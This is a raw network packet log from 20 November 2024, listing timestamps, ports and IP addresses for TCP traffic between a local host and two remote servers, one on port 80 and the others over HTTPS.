Nov 20, 2024 14:43:16.349958897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.350132942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.350177050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.351078987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.351186991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.351242065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.352122068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.352221966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.352277994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.353209019 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.353307009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.353362083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.354348898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.354445934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.354538918 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.407151937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.407165051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.407262087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.407417059 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.407520056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.407567978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.408489943 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.408535004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.408591986 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.409625053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.409671068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.409696102 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.410000086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.410676003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.410744905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.410794020 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.414685965 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.414700031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.414710999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.414722919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.414817095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.414817095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.415144920 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.415158987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.415200949 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.415999889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.416043043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.416176081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.417089939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.417157888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.417217016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.417989969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.418399096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.418414116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.418453932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.419126987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.419502020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.419550896 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.420341969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.420393944 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.420525074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.420576096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.421675920 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.421689987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.421745062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.422604084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.422782898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.422832012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.423732042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.423773050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.423865080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.424838066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.424884081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.425159931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.425215006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.425956964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.426132917 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.426175117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.426985979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.427126884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.427170038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.428178072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.428203106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.428246021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.429227114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.429373980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.429409027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.429409027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.430171013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.430377007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.430422068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.431365013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.431483984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.431516886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.431516886 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.432421923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.432439089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.432485104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.433541059 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.433557987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.433635950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.433635950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.434562922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.434624910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.434842110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.434892893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.435750008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.435806036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.435894012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.436039925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.488595009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.488723040 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.488733053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.488778114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.489073992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.489222050 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.489268064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.490242958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.490377903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.490432978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.491426945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.491478920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.491590977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.492419004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.492475033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.492496014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.493494987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.493545055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.493616104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.493655920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.494524002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.494574070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.494587898 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.494800091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.546104908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.546127081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.546194077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.546401024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.546546936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.546591997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.547790051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.547806978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.547822952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.547840118 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.547864914 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.547904015 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.548532963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.548757076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.548816919 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.549627066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.549715996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.549767971 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.550712109 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.550829887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.550879955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.551918030 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.551937103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.551981926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.552885056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.552915096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.553015947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.554040909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.554058075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.554110050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.555053949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.555104971 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.555202007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.556123972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.556174994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.556267023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.557248116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.557282925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.557296038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.557997942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.558316946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.558427095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.558475971 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.559364080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.559464931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.559523106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.560414076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.560539007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.560595036 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.561477900 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.561635971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.561697006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.562639952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.562747002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.562802076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.563626051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.563779116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.563834906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.564667940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.564722061 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.564774036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.565201044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.852901936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.852925062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.852942944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.852972031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.852984905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.852998018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853035927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853065968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853087902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853101015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853112936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853126049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853138924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853143930 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853157043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853157997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853188038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853213072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853287935 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853302956 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853313923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853327990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853339911 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853346109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853353977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853368044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853368044 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853384018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853395939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853395939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853410959 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853439093 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853617907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853662014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853667021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853674889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853688955 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853701115 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853720903 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853720903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853743076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853755951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853760958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853775978 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853784084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853790045 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853802919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853807926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853815079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853827000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853836060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853840113 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853856087 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853858948 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:16.853873968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:16.853903055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:17.242142916 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.242638111 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.242650986 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.242660046 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.242965937 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.242980957 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.243408918 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.243412971 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.243501902 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.243505955 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.262329102 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.262403965 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.262849092 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.267338037 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.267362118 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.275748968 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.275757074 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.276021004 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.276050091 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.276088953 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.276118994 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.276556015 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.276563883 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.276686907 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.276695967 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.684761047 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.684788942 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.684875965 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.684891939 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.684946060 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.685520887 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.685545921 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.685584068 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.685589075 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.685600996 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.685648918 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.690989971 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.691046000 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.691091061 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.709037066 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.709114075 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.709222078 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.718115091 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.718142033 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.718204975 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.718224049 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.718264103 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.721422911 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.721502066 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.721546888 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.730437994 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.730458021 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.730469942 CET	49717	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.730474949 CET	443	49717	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.731944084 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.731971025 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.731983900 CET	49720	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.731992006 CET	443	49720	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.733062983 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.733062983 CET	49719	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.733069897 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.733077049 CET	443	49719	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.739267111 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.739295959 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.739334106 CET	49718	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.739343882 CET	443	49718	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.755870104 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.755951881 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.756005049 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.848263979 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.848304987 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:17.848320961 CET	49721	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:17.848328114 CET	443	49721	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.092731953 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.092786074 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.092854023 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.159105062 CET	49722	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.159137964 CET	443	49722	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.208051920 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.208101034 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.208159924 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.208288908 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.208326101 CET	443	49724	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.208452940 CET	49724	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.210522890 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.210546970 CET	443	49725	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.210604906 CET	49725	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.210763931 CET	49723	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.210778952 CET	443	49723	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.210799932 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.210813046 CET	443	49726	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:18.210875988 CET	49726	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:18.211107969 CET	49726	443	192.168.2.6	13.107.246.63
